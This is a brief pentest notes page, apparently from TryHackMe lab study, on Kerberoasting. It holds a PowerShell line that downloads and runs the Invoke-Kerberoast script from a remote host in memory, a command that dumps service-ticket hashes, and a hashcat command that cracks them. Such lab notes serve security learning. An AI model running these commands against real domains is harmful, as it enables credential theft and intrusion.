> For the complete documentation index, see [llms.txt](https://notes.nomanaziz.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.nomanaziz.me/cybersecurity/penetration-testing/tryhackme/main-methodology/3.-gaining-access-exploitation/windows-applications/windows-active-directory/kerberos/get-spn-account-ticket-with-invoke-kerberoast.md).

# Get SPN Account Ticket with Invoke-Kerberoast

### Installing Invoke-Kerberoast script

Lets first get the Powershell Invoke-Kerberoast script.

```powershell
iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1')
```

***

### Loading into Memory

Now lets load this into memory:

```powershell
Invoke-Kerberoast -OutputFormat hashcat |fl
```

You should get a SPN ticket.&#x20;

<figure><img src="/files/DmK0uIVMA9WuBYV8PTUW" alt=""><figcaption></figcaption></figure>

***

### Cracking Hash using Hashcat

The type of hash we're cracking is **Kerberos 5 TGS-REP etype 23** and the hashcat code for this is **13100**

```bash
hashcat -m 13100 -​a 0 hash.txt wordlist --force
```

***
